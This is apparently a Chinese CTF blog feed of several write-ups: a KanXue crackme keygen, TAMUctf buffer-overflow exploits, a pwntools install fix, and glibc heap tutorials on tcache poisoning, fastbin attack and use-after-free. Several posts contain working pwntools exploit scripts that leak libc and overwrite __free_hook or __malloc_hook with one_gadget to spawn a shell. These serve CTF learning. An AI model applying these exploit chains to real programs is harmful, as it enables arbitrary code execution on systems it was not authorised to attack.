        local_78[local_10] = (int)local_c[local_10] + -0x30;
      }
      else {
        if ((local_c[local_10] < 123) && (96 < local_c[local_10])) {
          local_78[local_10] = (int)local_c[local_10] + -0x57;
        }
        else {
          if ((local_c[local_10] < 91) && (64 < local_c[local_10])) {
            local_78[local_10] = (int)local_c[local_10] + -0x1d;
          }
          else {
            FUN_004017b0();//返回错误
          }
        }
      }

已知最后获得的字符串 local_78 已知判断条件 可以求出原字符串

因为获得的字符串最后进行减数操作 所以求原函数只需要将判断条件的值减取相应判断条件里的减去的值并将判断条件里的值由减改为加即可。

re1.c

int v5[25]={19,0,27,59,44,4,11,55,14,30,28,29,37,18,44,42,43,14,38,41,7,0,39,39,48}; //得到的local_78
   int local_10 = 0;
    int v5[26];
    local_10 = 0;
    while (local_10 != 25) {

        if ((c[local_10] < 62) && (35 < c[local_10])) {
            v5[local_10] = (int)c[local_10] + 29;
        }
        else {
            if ((c[local_10] < 36) && (9 < c[local_10])) {
                v5[local_10] = (int)c[local_10] + 87;
            }
            else {
                if ((c[local_10] < 10) || (-1 < c[local_10])) {
                    v5[local_10] = (int)c[local_10] + 48;
                }

            }
        }
        printf("%c",v5[local_10]);
        local_10 = local_10 + 1;

    }
    printf("\n");

所以可以逆向求出应该输入的字符串

exp.c

//
//  main.c
//  re1
//
//  Created by ios on 2019/3/10.
//  Copyright © 2019 ios. All rights reserved.
//
#include<stdio.h>

int main()
{
    char a[28]= "KanXueCTF2019JustForhappy";
    char b[62]="abcdefghiABCDEFGHIJKLMNjklmn0123456789opqrstuvwxyzOPQRSTUVWXYZ";
   int c[26];
    int d=0;
    while (d<25) {
        for (int i=0; b[i]; i++) {
            if (b[i]==a[d]) {
                c[d]=i;
               //printf("%d,",c[d]);
                d=d+1;
                //break ;
            }

        }
    }



//int Str[25]={19,0,27,59,44,4,11,55,14,30,28,29,37,18,44,42,43,14,38,41,7,0,39,39,48};
   int local_10 = 0;
    int v5[26];
    local_10 = 0;
    while (local_10 != 25) {

        if ((c[local_10] < 62) && (35 < c[local_10])) {
            v5[local_10] = (int)c[local_10] + 29;
        }
        else {
            if ((c[local_10] < 36) && (9 < c[local_10])) {
                v5[local_10] = (int)c[local_10] + 87;
            }
            else {
                if ((c[local_10] < 10) || (-1 < c[local_10])) {
                    v5[local_10] = (int)c[local_10] + 48;
                }

            }
        }
        printf("%c",v5[local_10]);
        local_10 = local_10 + 1;

    }
    printf("\n");


}

成功拿到key

j0rXI4bTeustBiIGHeCF70DDM

tips

这里如果不好理解的可以对照IDA理解源码,并且使用动态调试 在strcmp处下断

图一

任意输入字符例如 A 达到断点处会得到

图二

通过两次处理后的结果为8 ,因为第二次做的处理为从数组出取元素 所以通过结果得到 param_1 的值

逆推到第一次处理 运算得到第一位应输入字符

这样可以帮助理解(动态调试大法好~)

]]>
<h3 id="第一题-流浪者"><a href="#第一题-流浪者" class="headerlink" title="第一题 流浪者"></a>第一题 流浪者</h3><p>下载到程序 简单执行下 就是简单的creakerme ,需要输入正确验证码。</p> <p>载入 g
Tcache学习-god-the-reum http://iosmosis.github.io/2019/03/04/Tcache学习-god-the-reum/ 2019-03-04T06:40:37.000Z 2019-03-12T13:27:23.527Z Tcache struct

typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

Tcache_get/Tcache-put

static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e; //增加到链表头部
  ++(tcache->counts[tc_idx]);  //记录当前 bin 的 chunk数
}

static void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

tcache_put

用于把一个 chunk 放到 指定的 tcache->entries 里面去, tc_idx 通过 csize2tidx (nb) 计算得到 (nbchunk 的大小)。

它首先把 chunk+2*SIZE_SZ (就是除去 header 部分) 强制转换成 tcache_entry * 类型,然后插入到 tcache->entries[tc_idx] 的首部,最后把 tcache->counts[tc_idx]1 ,表示新增了一个 chunk 到 该 表项。

tcache_get

根据 tc_idx 取出 tcache->entries[tc_idx] 的第一个chunk , 然后把 指针强制转换为 (void *)

仅仅检查了 tc_idx 并无做更多检查 可以将 tcache 当作一个类似于 fastbin 的单独链表,只是它的 check,并没有 fastbin 那么复杂。

tcache_poisoning

通过修改 free 状态的 tcache 里面的 chunk 的 fd (其实就是 tcache_entry->next ) ,可以分配到任意地址

tache posioning 和 fastbin attack类似,而且限制更加少,不会检查size。

一个 tcache bin 中的最大块数mp_.tcache_count7

/* This is another arbitrary limit, which tunables can change.  Each
   tcache bin will hold at most this number of chunks.  */
# define TCACHE_FILL_COUNT 7
#endif

具体知识点参考阅读

https://www.secpulse.com/archives/71958.html

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack/#tcache-poisoning

### 题目分析

case 1u:
       v3 = &v5[16 * dword_20202C];
       create_size((void **)v3);
       break;
     case 2u:
       v3 = &v5[16 * (signed int)sub_11DC(v3)];
       save((__int64)v3);
       break;
     case 3u:
       v3 = &v5[16 * (signed int)sub_11DC(v3)];
       delete_free((__int64)v3);
       break;
     case 4u:
       v3 = v5;
       print_all((__int64)v5);
       break;
     case 5u:
       puts("bye da.");
       return 0LL;
     case 6u:
       v3 = &v5[16 * (signed int)sub_11DC(v3)];
       developer((__int64)v3);
       break;
     default:
       sub_11B3(v3);
       break;

运行对比可以知道

主要有创建、储存、删除、打印、退出、以及隐藏功能 修改地址

creat_size

if ( !s || dword_20202C > 4 )
  {
    puts("wallet creation failed");
    exit(0);
  }
  memset(s, 0, 0x82uLL);
  v1 = (char *)s + strlen((const char *)s);
  *(_WORD *)v1 = 30768;
  v1[2] = 0;
  v2 = time(0LL);

  printf("how much initial eth? : ", 0LL);
  __isoc99_scanf("%llu", &size);
  v3 = size;
  v5[1] = (__int64)malloc(size);
  if ( v5[1] )
    *(_QWORD *)v5[1] = size;
  ++dword_20202C;
  sub_119B(v3);
  puts("Creating new wallet succcess !\n");

代码有删减

size可控 主要功能 创建一个size可控的chunk

delete


  v3 = __readfsqword(0x28u);
  printf("how much you wanna withdraw? : ");
  __isoc99_scanf("%llu", &v2);
  **(_QWORD **)(a1 + 8) -= v2;
  if ( !**(_QWORD **)(a1 + 8) ) //判断是否为0 如果为0则执行free
    free(*(void **)(a1 + 8)); //uaf

  puts("withdraw ok !\n");
  return __readfsqword(0x28u) ^ v3;

这里free以后没有清空指针 导致存在uaf漏洞

int i; // [rsp+1Ch] [rbp-4h]

sub_119B(a1);
puts("========== My Wallet List =============");
for ( i = 0; i < dword_20202C; ++i )
{
  printf("%d) ", (unsigned int)i);
  sub_FD5(*(_QWORD *)(16LL * i + a1), *(_QWORD **)(16LL * i + a1 + 8));
}
return putchar(10);
int __fastcall sub_FD5(__int64 a1, _QWORD *a2)
{
  return printf("addr : %s, ballance %llu\n", a1, *a2, a1, a2);
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

打印所有chunk id 及内容

developer

__int64 __fastcall developer(__int64 a1)
{
  sub_119B(a1);
  puts("this menu is only for developer");
  puts("if you are not developer, please get out");
  sleep(1u);
  printf("new eth : ");
  return __isoc99_scanf("%10s", *(_QWORD *)(a1 + 8)); //修改chunk
}
`

可以修改chunk

思路

存在uaf漏洞 所以要从这里入手

首先给定libc 2.27 存在了tcache所以leak方式需要改变

1、how to leak

首次执行double free后 打印会泄漏出heap地址

exp

create(0x100)
create(0x110) #多加一个chunk可以防止top chunk回收
delete(0,0x100)
delete(0,0)  #double free leak heap_base
prints()
p.recvuntil('ballance ')
heap_addr = int(p.recvuntil('\n').strip())
print hex(heap_addr)
调式结果

python exp.py

[*]  how much you wanna withdraw? :
[*]  withdraw ok !

    ====== Ethereum wallet service ========
    1. Create new wallet
    2. Deposit eth
    3. Withdraw eth
    4. Show all wallets
    5. exit
    select your choice :
0x564a72bee2f0

利用gdb查看当前heap地址

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x564a718e1000     0x564a718e3000 r-xp     2000 0      /home/ios/god-the-reum
    0x564a71ae2000     0x564a71ae3000 r--p     1000 1000   /home/ios/god-the-reum
    0x564a71ae3000     0x564a71ae4000 rw-p     1000 2000   /home/ios/god-the-reum
    0x564a72bee000     0x564a72c0f000 rw-p    21000 0      [heap]
    0x7f92acc4d000     0x7f92ace34000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f92ace34000     0x7f92ad034000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so

因为leak了一次heap地址填充了1次tcache 所以再次填充6次即可填满tcache 之后free掉的chunk会进入unsorted bin 接着利用print_all 打印出当前bin的fd 即可leak main_arena从而得到libc_base

这里需要掌握的知识

how to leak libc

unsort bin是双向链表,如果只有一个chunk fd和bk都是main_arena+偏移。如果是多个就按照双向链表链起来(头和尾都是main_arena+偏移)

需要利用uaf+print配合

填充满tcache后查看当前heap

pwndbg> heap
0x563b2fd6b000 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 593, 
  fd = 0x0, 
  bk = 0x700000000000000, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x563b2fd6b250 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 145, 
  fd = 0x3461373737367830, 
  bk = 0x3463613331616535, 
  fd_nextsize = 0x3630333238336564, 
  bk_nextsize = 0x3139613439306631
}
0x563b2fd6b2e0 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 273, 
  fd = 0x7ffab2fc9ca0 <main_arena+96>, 
  bk = 0x7ffab2fc9ca0 <main_arena+96>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

可以看到该chunk fd bk都指向main_arena+96

可以利用 p main_arena查看当前main_arena_addr

d0 <main_arena+1680>...}, 
  binmap = {0, 0, 0, 0}, 
  next = 0x7ffab2fc9c40 <main_arena>, 
  next_free = 0x0, 
  attached_threads = 1, 
  system_mem = 135168, 
  max_system_mem = 135168
}

可以得到main_arena

利用vmmap 查看当前加载libc基地址

0x563b2fd6b000     0x563b2fd8c000 rw-p    21000 0      [heap]
0x7ffab2bde000     0x7ffab2dc5000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so

由于程序多次执行 导致地址发生变化== 此处计算offfset为同一进程

pwndbg> p/x 0x7ffab2fc9c40-0x7ffab2bde000
$2 = 0x3ebc40
pwndbg>

0x7ffab2bde000 这个地址就是libc的实际加载地址,它和main_arena的偏移是固定的

加载地址会变但是这个偏移是不会变的,这样可以获取到远程的libc的加载地址

所以得到main_arena地址就可以计算libc_base了

leak libc

for i in range(6):
   delete(0,heap_addr)
prints()
p.recvuntil('ballance ')
offset = 0x3ebc40
libc_base = int(p.recvuntil('\n').strip())-96-offset

这里减96时因为main_arena地址在这个位置

0x563b2fd6b2e0 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 273, 
  fd = 0x7ffab2fc9ca0 <main_arena+96>, 
  bk = 0x7ffab2fc9ca0 <main_arena+96>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

因为offset = main_arena-libc_addr

所以libc_base = main_arena-offset

one_gadget

这里有个不明白的地方,在使用one_gadget时查找libc-2.28.so会直接报错 所以这里使用的libc-2.27.so进行做题的~~

ios@Sec:~$ one_gadget /lib/x86_64-linux-gnu/libc-2.27.so
0x4f2c5    execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322    execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
ios@Sec:~$

exp编写

有了libc base 就可以直接修改 tcache 中的 fd,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。创建一个不大于0x408的chunk,free掉后即可进入tcache,可以修改tcache的fd为free_hook的地址,进行两次分配后,即可分配到free_hook的地址,再次使用developer的隐藏功能直接把free_hook改成onegadget即可getshell

exp

from pwn import *

p = process('./god-the-reum')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
def create(idx):
    log.info(p.recvuntil('select your choice :'))
    p.sendline('1')
    log.info(p.recvuntil('how much initial eth? :'))
    p.sendline(str(idx))
def delete(idx,c):
    log.info(p.recvuntil('select your choice :'))
    p.sendline('3')
    log.info(p.recvuntil('input wallet no :'))
    p.sendline(str(idx))
    log.info(p.recvuntil('how much you wanna withdraw? :'))
    p.sendline(str(c))

def prints():
    log.info(p.recvuntil('select your choice :'))
    p.sendline('4')
def dev(idx,c):
    log.info(p.recvuntil('select your choice :'))
    p.sendline('6')
    log.info(p.recvuntil('input wallet no :'))
    p.sendline(str(idx))
    log.info(p.recvuntil('new eth :'))
    p.sendline(str(c))

create(0x100)#0
create(0x110) #1//防止合并
delete(0,0x100)#free 0 all
delete(0,0)  #满足free条件后 double free 
prints() #leak heap
p.recvuntil('ballance ')
heap_addr = int(p.recvuntil('\n').strip())
print hex(heap_addr)
#gdb.attach(p)
#填满 tcache 7 上方以填入一次 所以这里填充6次即可
for i in range(6):
   delete(0,heap_addr)
prints()
p.recvuntil('ballance ')
offset = 0x3ebc40
libc_base = int(p.recvuntil('\n').strip())-96-offset
#print hex(main_arena)
gdb.attach(p)

#gdb.attach(p)
free_hook = libc_base+libc.sym['__free_hook']
print hex(free_hook)

delete(1,0x110)
dev(1,p64(free_hook))
create(0x110) 
create(0x110)
one_gadget=libc_base+0x4f322
dev(3,p64(one_gadget))
delete(2,0x110)
p.interactive()

run

4. Show all wallets
5. exit
select your choice :
[*]  input wallet no :
[*]  how much you wanna withdraw? :
[*] Switching to interactive mode
 $ ls
1.py Documents       exp.py         Music     pwntools
core Downloads       god-the-reum      Pictures  Templates
Desktop  examples.desktop  god-the-reum.nam  PublicVideos
$
]]>
<h4 id="Tcache-struct"><a href="#Tcache-struct" class="headerlink" title="Tcache struct"></a>Tcache struct</h4><p></p><p class="code-caption
TAMUctf http://iosmosis.github.io/2019/02/23/TAMUctf/ 2019-02-23T10:57:14.000Z 2019-03-10T04:36:10.274Z pwn1

查看ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1h] [ebp-3Bh]
  int v5; // [esp+2Ch] [ebp-10h]
  int v6; // [esp+30h] [ebp-Ch]
  int *v7; // [esp+34h] [ebp-8h]

  v7 = &argc;
  setvbuf(stdout, (char *)&dword_0 + 2, 0, 0);
  v6 = 2;
  v5 = 0;
  puts("Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.");
  puts("What... is your name?");
  fgets(&s, 43, stdin);
  if ( strcmp(&s, "Sir Lancelot of Camelot\n") )
  {
    puts("I don't know that! Auuuuuuuugh!");
    exit(0);
  }
  puts("What... is your quest?");
  fgets(&s, 43, stdin);
  if ( strcmp(&s, "To seek the Holy Grail.\n") )
  {
    puts("I don't know that! Auuuuuuuugh!");
    exit(0);
  }
  puts("What... is my secret?");
  gets(&s); //存在漏洞
  if ( v5 == 0xDEA110C8 )
    print_flag();
  else
    puts("I don't know that! Auuuuuuuugh!");
  return 0;
}

分析:程序流程很简单 需要回答两个问题 后达到漏洞点 存在溢出 需要满足 让v5=0xDEA110C8时 print flag

char s; // [esp+1h] [ebp-3Bh]
 int v5; // [esp+2Ch] [ebp-10h]

s到v5的offset =0x3b-0x10=0x2b

所以可以构造exp 得到flag

####exp

from pwn import *
context.log_level = 'debug'
p = remote('pwn.tamuctf.com',4321)

log.info(p.recvuntil('What... is your name?'))
p.sendline(str('Sir Lancelot of Camelot'))
log.info(p.recvuntil('What... is your quest?'))
p.sendline('To seek the Holy Grail.')
sleep(1)
log.info(p.recvuntil('What... is my secret?'))

payload = 'a'*0x2b+p32(0xDEA110C8)
p.sendline(payload)
p.interactive()

####runing

ios@Sec:~$ python pwn1.py
[+] Opening connection to pwn.tamuctf.com on port 4321: Done
[DEBUG] Received 0x81 bytes:
    'Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.\n'
    'What... is your name?\n'
[*] Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
    What... is your name?
[DEBUG] Sent 0x18 bytes:
    'Sir Lancelot of Camelot\n'
[DEBUG] Received 0x17 bytes:
    'What... is your quest?\n'
[*] 
    What... is your quest?
[DEBUG] Sent 0x18 bytes:
    'To seek the Holy Grail.\n'
[DEBUG] Received 0x16 bytes:
    'What... is my secret?\n'
[*] 
    What... is my secret?
[DEBUG] Sent 0x30 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000020  61 61 61 61  61 61 61 61  61 61 61 c8  10 a1 de 0a  │aaaa│aaaa│aaa·│····│
    00000030
[*] Switching to interactive mode

[DEBUG] Received 0x31 bytes:
    'Right. Off you go.\n'
    'gigem{34sy_CC428ECD75A0D392}\n'
    '\n'
Right. Off you go.
gigem{34sy_CC428ECD75A0D392}

PWN2

载入ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1h] [ebp-27h]
  int *v5; // [esp+20h] [ebp-8h]

  v5 = &argc;
  setvbuf(stdout, (char *)&dword_0 + 2, 0, 0);
  puts("Which function would you like to call?");
  gets(&s);
  select_func(&s);
  return 0;
}

ghidra

undefined4 main(void)

{
  char local_2f [31];
  undefined *local_10;

  local_10 = &stack0x00000004;
  setvbuf(stdout,(char *)0x2,0,0);
  puts("Which function would you like to call?");
  gets(local_2f);
  select_func(local_2f);
  return 0;
}

gets接收大小为31

gets接收字符串s 然后 执行select_func 函数 跟进

int __cdecl select_func(char *src)
{
  char dest; // [esp+Eh] [ebp-2Ah] 
  int (*v3)(void); // [esp+2Ch] [ebp-Ch]

  v3 = (int (*)(void))two;
  strncpy(&dest, src, 0x1Fu);
  if ( !strcmp(&dest, "one") )
    v3 = (int (*)(void))one;
  return v3();
}

这里可以对照ghidra 分析


void select_func(char *param_1)
{
  int iVar1;
  char local_2e [30]; 定义了char dest  [30]
  code *local_10;

  local_10 = two;
  strncpy(local_2e,param_1,0x1f);
  iVar1 = strcmp(local_2e,"one");
  if (iVar1 == 0) {
    local_10 = one;
  }
  (*local_10)();
  return;
}

src为gets接收过来的字符串 strncpy函数将src写入dest

strncpy函数只能接受dest [30]

查看 shell函数地址

two    .text            000006AD
print_flag    .text    000006D8    
one    .text            00000754

发现 two函数地址与print flag后两位不同

再查看条件判断 只需要利用 strncpy函数1字节溢出修改two地址 即可

exp

from pwn import *
p = process('./pwn2')
p.recvuntil("Which function would you like to call?\n")
payload = 'a'*30+'\xd8'
p.sendline(payload)
p.interactive()
]]>
<h3 id="pwn1"><a href="#pwn1" class="headerlink" title="pwn1"></a>pwn1</h3><p>查看ida</p> <p></p><p class="code-caption" data-lang="c" data-li
macOS Mojave install pwntools Solved http://iosmosis.github.io/2018/12/16/macOS-Mojave-install-pwntools-Solved/ 2018-12-16T08:15:08.000Z 2018-12-16T08:19:27.529Z Mojave 直接安装pwntools会报错

主要报错原因是因为 capstone 和 unicorn 安装的问题

这里贴出解决办法

brew install capstone && export MACOS_UNIVERSAL=no && pip install capstone
brew install unicorn && UNICORN_QEMU_FLAGS="--python=`whereis python`" pip install unicorn

之后再运行安装即可

]]>
<p>Mojave 直接安装pwntools会报错</p> <p>主要报错原因是因为 capstone 和 unicorn 安装的问题</p> <p>这里贴出解决办法</p> <p></p><p class="code-caption" data-lang="bash" data
Fastbin Attack 总结 http://iosmosis.github.io/2018/11/29/Fastbin Attack/ 2018-11-29T08:02:08.000Z 2019-09-13T09:11:31.721Z 迷途指针、野指针、空指针

迷途指针:也称悬空指针,指的是不指向任何合法的对象的指针,可以指向任何地址,并且对该地址的数值进行修改或删除,可能会造成意想不到的后果
野指针:未被初始化的指针,野指针所导致的错误和迷途指针非常相似,但野指针的问题更容易被发现
空指针:就是一个被赋值为0的指针,它不指向任何的对象或者函数

理解typedef void (*funcptr)(void)

typedef 只对已有的类型进行别名定义,不产生新的类型
#define 只是在预处理过程对代码进行简单的替换

typedef void ( *funcptr)(char *); //定义指针类型

void fun1(char string[]) //定义函数
{
printf("%s",string);
}
int main()
{

    funcptr p1; //定义了一个该类型的指针p1
    p1 = fun1; //p1指向函数一
    p1("hey");
}
__malloc_hook利用

__malloc_hook 附近

64位下在 __malloc_hook - 0x23 + 0x8 处 的值 为 p64(0x7f) 

然后想办法修改 位于 0x70 的 fastbin 的 chunk 的 fd 为 __malloc_hook - 0x23,然后分配几次 0x70 的 chunk 就可以修改 __malloc_hook

main_arean->fastbinY 数组

该数组用于存放 指定大小的 fastbin 的表头指针,如果为空则为 p64(0) , 而堆的地址基本 是 0x5x 开头的(其在内存就是 xx xx..... 5x), 此时如果在 main_arean->fastbinY 的 相邻项为 0x0 (相邻大小的 fastbin), 就会出现 5x 00 00 00... , 所以就可以出现 0x000000000000005x ,可以把它作为 fastbin 的 size 进行 fastbin attack ,不过作为 fastbin attack 的 size 不能 为 0x55

于是想办法修改 位于 0x50 的 fastbin 的 chunk 的 fd 为 __malloc_hook - 0x23,然后分配几次 0x50 的 chunk 就可以分配到 main_arean, 然后就可以修改 main_arean->top 

std* 结构体

在 std* 类结构体中有很多字段都会被设置为 0x0 , 同时其中的某些字段会有 libc 的地址大多数情况下 libc 是加载在 0x7f.... , 配合着 std* 中的 其他 0x0 的字段,我们就可以有 p64(0x7f) , 然后修改 位于 0x70 的 fastbin 的 chunk 的 fd 为该位置即可
pwndbg> x/20gx stdin

uaf漏洞成因

在free了堆块没有进行指针置null 导致产生迷途指针,由于申请大小小于256kb就先将内存卡标记为空闲状态,如果malloc相同大小的堆块,将可以再次使用该内存地址

简单例子

#include <stdio.h>
#include <string.h>
int main()
{
    char *p1;
    p1 = (char *) malloc(sizeof(char)*20);
    memcpy(p1,"hey",20);
    printf("p1 addr:%x,%s\n",p1,p1);
    free(p1);/
    char *p2;
    p2 = (char *)malloc(sizeof(char)*40);
    memcpy(p1,"hahah",40);
    printf("p2 addr:%x,%s\n",p2,p1);
    return 0;
}

编译

gcc -g uaf.c -o uaf

运行

ios@ios:~$ ./uaf
p1 addr:1b51010,hey
p2 addr:1b51440,hahah

虽然此处存在uaf ,free p1后没有置指针为null ,但是没有申请相同大小还是无法申请使用的同一内存地址

接下来malloc 相同大小

#include <stdio.h>
#include <string.h>
int main()
{
    char *p1;
    p1 = (char *) malloc(sizeof(char)*20);
    memcpy(p1,"hey",20);
    printf("p1 addr:%x,%s\n",p1,p1);
    free(p1);/
    char *p2;
    p2 = (char *)malloc(sizeof(char)*20);
    memcpy(p1,"hahah",20);
    printf("p2 addr:%x,%s\n",p2,p1);
    return 0;
}

编译

gcc -g uaf.c -o uaf

运行

ios@ios:~$ ./uaf
p1 addr:1353010,hey
p2 addr:1353010,hahah

发现成功申请到相同内存地址

简单getshell 利用

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
typedef void (*f_ptr)(char *);
void print(char string[])
{
printf("%s",string);
}
void getshell(char comm[])
{
system(comm);
}
int main()
{

    f_ptr *p1 = (f_ptr*)malloc(sizeof(int)*4); //申请堆块大小
    printf("p1 addr:%p\n",p1);
    p1[1]=print;//使用p1数组指针指向print函数
    p1[1]("hahahah\n");//传参
    free(p1);//free后指针没有置0
    f_ptr *p2 = (f_ptr*)malloc(sizeof(int)*4);//再次申请相同大小堆块
    printf("p2 addr:%p\n",p2);
    p2[1]=getshell;//使用p1数组指针指向getshell函数
    p1[1]("/bin/sh");
    return 0;
}

编译

gcc -g uaf.c -o uaf

运行

ios@ios:~$ ./uaf
p1 addr:0x24a0010
hahahah
p2 addr:0x24a0010
$ ls
Desktop    Downloads         Music     Public     te        test.c  uaf.c
Documents  examples.desktop  Pictures  pwntools  Templates  uaf     Videos
$

Double Free

原理

堆块释放后对指针没有清空 出现迷途指针、导致可以再次释放该堆块

在glibc源码中有这样的处理

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx// 判断大小是否满足 fastbin相应bin的大小要求
Fastbin 在分配 chunk 时,只检查 p->size&0xfffffffffffff000是否满足等于的 fastbin的大小 ,而且不检查指针是否对齐。所以我们只要找到 size 为 fastbin 的范围,然后修改 位于 fastbin 的 chunk 的 fd 到这 ,分配几次以后,就可以分配到这个位置
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

改malloc__hook利用方式

__malloc_hook - 0x23 + 0x8 的 内容为 0x000000000000007f , 可以用来绕过 fastbin 分配的检查

  • Fastbin Attack 开始,分配两次,可以得到 最后一个堆块地址 = __malloc_hook -0x13
  • 再次添加’a’*0x13+onegadget 触发malloc__hook跳转到onegadget地址

例题 铁三littlenote

读源码

int menu()
{
  puts("1. add a note");
  puts("2. show a note");
  puts("3. delete a note");
  puts("4. exit");
  return puts("Your choice:");
}

可以得知该程序主要有三个功能

add

unsigned __int64 addnote()
{
  v4 = __readfsqword(0x28u);
  if ( (unsigned __int64)notenum > 0xF )
    puts("FULL");
  v0 = notenum;
  note[v0] = malloc(0x60uLL);//
  puts("Enter your note");
  read(0, note[notenum], 0x60uLL);
  puts("Want to keep your note?");
  read(0, &buf, 7uLL);
  if ( buf == 78 )
  {
    puts("OK,I will leave a backup note for you");
    free(note[notenum]);
    v1 = notenum;
    note[v1] = malloc(0x20uLL);
  }
  ++notenum;
  puts("Done");
  return __readfsqword(0x28u) ^ v4;
}

可以看到固定分配malloc size为0x60 可以考虑 Fastbin Attack

添加堆块操作

show

unsigned __int64 shownote()
{

  puts("Which note do you want to show?");
  _isoc99_scanf("%u", &v1);
  if ( v1 < (unsigned __int64)notenum )
  {
    if ( note[v1] )
      puts((const char *)note[v1]);
    puts("Done");
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v2;
}

打印当前指针所指堆块中的内容

delete

unsigned __int64 freenote()
{

  puts("Which note do you want to delete?");
  _isoc99_scanf("%u", &v1);
  if ( v1 < (unsigned __int64)notenum )
  {
    if ( note[v1] )
      free(note[v1]); //漏洞点
    puts("Done");
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v2;
}

释放堆块 但是free后 指针没有清空 导致产生迷途指针 可以导致double free 以及uaf 利用

首先调试分析 leak libc_base

from pwn import *

context.log_level="debug"
p = process("./littlenote")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(data):
    p.recvuntil("choice:")
    p.sendline(str(1))
    p.recvuntil("your note")
    p.send(data)
    p.recvuntil("keep your note?")

def show(idx):
    p.recvuntil("choice:")
    p.sendline(str(2))
    p.recvuntil("show?")
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil("choice:")
    p.sendline(str(3))
    p.recvuntil("delete?")
    p.sendline(str(idx))

add("aaa")
p.sendline('N')
delete(0)
add("\n")
p.sendline('Y')
show(1)
p.recvuntil('\n')
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
gdb.attach(p)
[+] Waiting for debugger: Done
[DEBUG] Received 0x4f bytes:
    00000000  0a fb a4 6f  89 7f 0a 44  6f 6e 65 0a  31 2e 20 61  │···o│···D│one·│1. a│
    00000010  64 64 20 61  20 6e 6f 74  65 0a 32 2e  20 73 68 6f  │dd a│ not│e·2.│ sho│
    00000020  77 20 61 20  6e 6f 74 65  0a 33 2e 20  64 65 6c 65  │w a │note│·3. │dele│
    00000030  74 65 20 61  20 6e 6f 74  65 0a 34 2e  20 65 78 69  │te a│ not│e·4.│ exi│
    00000040  74 0a 59 6f  75 72 20 63  68 6f 69 63  65 3a 0a     │t·Yo│ur c│hoic│e:·│
    0000004f
0x7f896fa4fb0a

<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

在gdb中查看当前heap情况

pwndbg> heap
0x55da16209000 FASTBIN {
  prev_size = 0, 
  size = 113, 
  fd = 0x7f896fa4fb0a <__realloc_hook+2>,  
  bk = 0x7f896fa4fbd8 <main_arena+184>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55da16209070 FASTBIN {
  prev_size = 112, 
  size = 49, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55da162090a0 PREV_INUSE {
  prev_size = 0, 
  size = 4113, 
  fd = 0xa31 <frame_dummy+17>, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55da1620a0b0 PREV_INUSE {
  prev_size = 0, 
  size = 130897, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg>

看到 leak出的地址为 fd = 0x7f896fa4fb0a <__realloc_hook+2>,

所以我们可以leak出__realloc_hook地址 从而计算得到libc_base 、malloc_hook_addr

